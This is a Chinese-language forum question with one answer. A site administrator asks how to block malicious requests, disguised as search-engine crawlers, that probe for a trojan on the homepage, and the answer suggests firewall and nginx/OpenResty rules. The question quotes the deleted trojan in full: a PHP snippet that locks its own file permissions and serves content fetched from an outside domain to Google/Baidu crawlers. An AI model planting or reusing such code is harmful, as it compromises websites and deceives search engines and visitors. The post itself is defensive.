Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
3.4k views
in Technique[技术] by (71.8m points)

Linux服务器如何屏蔽一些恶意请求?类似种木马、注入代码检测等请求

image.png

如上图,有很多伪装成百度或者谷歌、头条的恶意请求,来判断网站首页是否被注入了他们的木马文件(已删除),如下:

<?php
set_time_limit(0);
$url1 = $_SERVER['PHP_SELF']; $name= substr($url1 ,strrpos($url1 ,'/')+1 );
chmod($name,0444);
header('Content-Type:text/html;charset=gb2312');
$key= $_SERVER["HTTP_USER_AGENT"];
if(strpos($key,'oogle')!== false||strpos($key,'aidu')!==false)
{
 $file = file_get_contents('http://a.fefb.buzz/?scs'); 
echo $file;
 exit ;
}
?>

所以请问有什么好的办法,在Linxu层或者Nginx层去屏蔽掉这些请求?


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Answer

0 votes
by (71.8m points)

linux 的话,使用防火墙屏蔽对方 ip,不过这个伤害太大,封掉的 ip可能是一个 cdn 节点

nginx 这一层会方便的多.自己识别请求模式后写判断可以. 增加 ngx_lua 插件或者直接使用 openresty 用lua写一些复杂的规则甚至写个 waf 也可以.


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

...